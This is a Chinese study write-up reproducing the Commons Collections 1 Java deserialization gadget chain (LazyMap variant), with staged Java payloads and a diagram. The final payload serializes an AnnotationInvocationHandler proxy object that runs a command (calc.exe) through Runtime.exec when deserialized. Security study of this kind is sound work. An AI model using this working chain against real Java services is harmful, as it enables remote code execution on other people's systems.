关于cc1链-lazymap版复现

思路,在cc链中最重要的其实是transform方法;其反射调用执行的性质+transformchain性质,导致可以通过构造反射调用链子,也就是Runtime.exec的反射链进行命令执行;

所以关键地方在于找到transform方法;

在lazymap中的get方法中的factor调用了transform;在lazymap的构造函数中我们可以看到factor是作为key(键)值传入;且触发条件是lazymap对象中没有这个键值时调用transform方法



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =LazyMap.decorate(innerMap, transformerChain);//由于不能直接调用构造函数,因此使用decorate获取其对象
outerMap.get("man");

可以看到这里执行了calc.exe

因此接下来看谁调用了哪个类调用了get方法;

有很多;这里 ysoserial开发者使用了AnnotationInvocationHandler中的invoke方法调用了get

这个memberValues是其构造函数的可控参数,这里需要另其为LazyMap对象

接下来继续找谁可以调用invoke方法;

这里开发者很巧妙地想到了动态代理机制:使用动态代理时;被代理对象的任意方法被调用时会转发到代理对象的invoke方法中;

而AnnotationInvocationHandler是一个代理类且AnnotationInvocationHandler作为动态代理的处理器;他实现了InvocationHandler接口;导致它的实例对象执行任意方法会转发到它的invoke方法中

也就是说AnnotationInvocationHandler作为处理器去被代理类的执行任意方法,会转发到它的invoke方法上;也就是说执行Lazymap的任意方法会转发到它的invoke方法中,从上文中我们可以看到AnnotationInvocationHandler的invoke中存在一些方法不会触发;因此需要一点绕过;只需要调用的方法不是

toString,hashCode,hashCode即可

payload


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}), };
Transformer transformerChain = neW ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =(LazyMap) LazyMap.decorate(innerMap, transformerChain);
Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler ih=(InvocationHandler)constructor.newInstance(Retention.class,outerMap);
Map mapproxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},ih);
mapproxy.clear();

可以看到执行了命令;

但在反序列化过程中无法进行显示调用,需要进行自动执行;

而在Lazymap和AnnotationInvocationHandler的readobject中我们看到都调用了entryset方法

也就是说执行AnnotationInvocationHandler的readobject会调用entryset

这时候我们需要让memberValues=mapproxy;

从上文可以知道memberValues是在构造函数中进行赋值,进行以下构造

此时我们的完整payload为

public class CommonCollections1 {
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",
new Class[]
{String.class,Class[].class},
new Object[]
{"getRuntime",new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}), };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap =(LazyMap) LazyMap.decorate(innerMap, transformerChain);//构造链子,使调用get时,触发transformerChain->transform(key) Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true); InvocationHandler ih=(InvocationHandler)constructor.newInstance(Retention.class,outerMap);//连接invoke{memberValues->get}
Map mapproxy=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},ih);//转发到ih的invoke Object obj=constructor.newInstance(Target.class,mapproxy);//触发entrySet //进行对象序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream oss=new ObjectOutputStream(outputStream);
oss.writeObject(obj);
oss.close(); System.out.println(outputStream);
//进行反序列化 ObjectInputStream objectInputStream=new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
Object object=objectInputStream.readObject();

总结一下:这个版本的cc1链使用了LazyMap的get方法进行触发,为了触发这个get方法,引入了AnnotationInvocationHandler的invoke方法;为了触发invoke,引入了动态代理;执行LazyMap的entryset方法触发invoke;为了在反序列化时自动触发;使用AnnotationInvocationHandler进代理对象进行包装,使其执行LazyMap->entryset后执行AnnotationInvocationHandler->invoke->LazyMap->get后执行 ChainedTransformer->transformerChain->ConstantTransformer(Runtime.class)->InvokerTransformer(getMethod)->InvokerTransformer(getRuntime)->InvokerTransformer(invboke)->InvokerTransformer(getMethod)-> InvokerTransformer(calc.exe)

比较直观一点的gadget写法

+------------------------+        +-------------------------+
| AnnotationInvocation | | Dynamic Proxy (Map) |
| Handler.readObject() | |-------------------------|
|-------------------------| 调用 | memberValues.entrySet() |
| memberValues (代理Map) | -----> | → 转发到InvocationHandler|
+------------------------+ +-------------------------+
| ↓
| +-------------------------+
| | InvocationHandler.invoke|
| |-------------------------|
| | LazyMap.get("entrySet") |
| +-------------------------+
| ↓
| +-------------------------+
+------------------------| ChainedTransformer链 |
|-------------------------|
| 反射调用Runtime.exec() |
+-------------------------+

​ 手法很巧妙;相对于TransformedMap版本通过setvalue触发 checkSetValue机制;这里使用entryset触发invoke,再触发get,中间使用了动态代理作为桥梁;

使得执行entryset时会转发到AnnotationInvocationHandler的invoke中,我认为这个思路对于大部分使用invoke触发过程的链子都是适用de6

参考:
p牛的知识星球->代码审计->java系列文章;
+
https://www.cnblogs.com/leyilea/p/18426165?app_lang=zh-CN

关于cc1链-lazymap版复现的更多相关文章

  1. P3379 【模板】最近公共祖先(LCA)(树链剖分)版

    #include <bits/stdc++.h> #define read read() #define up(i,l,r) for(register int i = (l);i < ...

  2. CC1链详解

    前言:这篇文章是对CC1的总结,个人学习,如有不对请多指教.谢谢! 环境:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了 下载链接:https://www.oracle.com/cn/ ...

  3. [WC2010]重建计划(长链剖分版)

    传送门 Description Solution 时隔多年,补上了这题的长链剖分写法 感觉比点分治要好写的多 我们假设\(pos\)是当前点的\(dfn\),它距离所在链的底端的边的数量是\(len\ ...

  4. YsoSerial 工具常用Payload分析之CC1

    前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...

  5. cc1

    基础 cc接口及类介绍 Transformer接口 Defines a functor interface implemented by classes that transform one obje ...

  6. 【CJOJ2440】大话西游(树链剖分)

    题面 Description "大话西游" 是一个在中国非常流行的在线游戏, 由 NIE 公司开发和维护. 这个游戏来源于著名的小说<西游记> 和周星弛的电影, 游戏的 ...

  7. PHP伪造referer突破网盘禁止外链(附115源码)

    新建一个文件file.php.后面的参数就是需要伪造referfer的目标地址吧.如:file.php/http://www.xxx.xxx/xxx.mp3 复制内容到剪贴板 代码: <?$ur ...

  8. cve_2019_0708_bluekeep复现采坑

    0X01 简介 Microsoft Windows是美国微软公司发布的视窗操作系统.远程桌面连接是微软从Windows 2000 Server开始提供的功能组件. 2019年5月14日,微软发布了月度 ...

  9. CommonsCollection3

    CommonsCollection3 1.前置知识 CommonsCollection3其实就是cc1和cc2的组合,不用再学那么多知识了,再学习另两个生面孔类 1.1.InstantiateTran ...

  10. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

随机推荐

  1. Qt关于使用QSqlQuary::size()这个函数值返回是-1

    QSqlQuary::size( ) 今天做项目的时候,用Qt连接Oracle数据库,前面都是连接成功,但是用SQL语句去操作数据库的时候,发现老是读不到内容,卡了好久. QSqlQuery Rule ...

  2. mysql - 视图的操作 创建,修改,删除,查看

    只保存sql逻辑,不保存查询结果 视图可以看作是封装了多条sql语句,之后使用的时候就像普通表一样,而这个表上的字段则是创建视图时,select 后边跟的字段,支持列的别名. 创建 语法: creat ...

  3. 视觉SLAM十四讲——有关相机运动的汇报

    视觉SLAM十四讲--有关相机运动的汇报 大概用了一个月的时间看完slam十四讲,里面很多内容算是填坑了很多以前遇到的不懂的点,并且脑海里也大致有了一个关于SLAM的框架,现在就这篇文章将其中相机运动 ...

  4. 新建一个空的 ASP.NET Core Web Application

    前言 Visual Studio 2017 下操作 1. 新建项目 2. 新建空的 ASP.NET Core Web Application 确定后,需要一小点的时间等待依赖库载入... 3. 新建完 ...

  5. 高格发票勾稽之BUG

    select (INVNO) AS INVCODE, SDATE ,* FROM STKSALE1 WHERE LEN(INVSCODE) > 0 AND INVSCODE = '3100000 ...

  6. public void add(int index, E element)的方法源码分析

    public class ArrayList<E> extends AbstractList<E> implements List<E>, RandomAccess ...

  7. 🎀idea获取当前项目git仓库地址

    简介 在idea中快速获取当前项目的远程仓库地址 方案一 右键项目 选择Git 选择Manage Remotes 弹框中的URL就是远程仓库地址 方案二 打开terminal 命令行 直接Git命令查 ...

  8. python调用QQ机器人向指定QQ发消息

    暂时没想到这个能用来干什么,只是刚好看到相关文章,学习一下,就拿获取基金信息来做试验把 爬取基金的信息就不介绍了,请参考https://www.cnblogs.com/becks/p/14500495 ...

  9. kettle介绍-Step之加密及解密

    加密 进入kettle的安装目录 cd /d D:\Application\pdi-ce-6.0.0.0-353\data-integration windows系统命令行执行:Encr.bat -k ...

  10. React AntD的Dropdown组件报错:React.Children.only expected to receive a single React element child.可能的n原因

    React.Children.only expected to receive a single React element child. Error: React.Children.only exp ...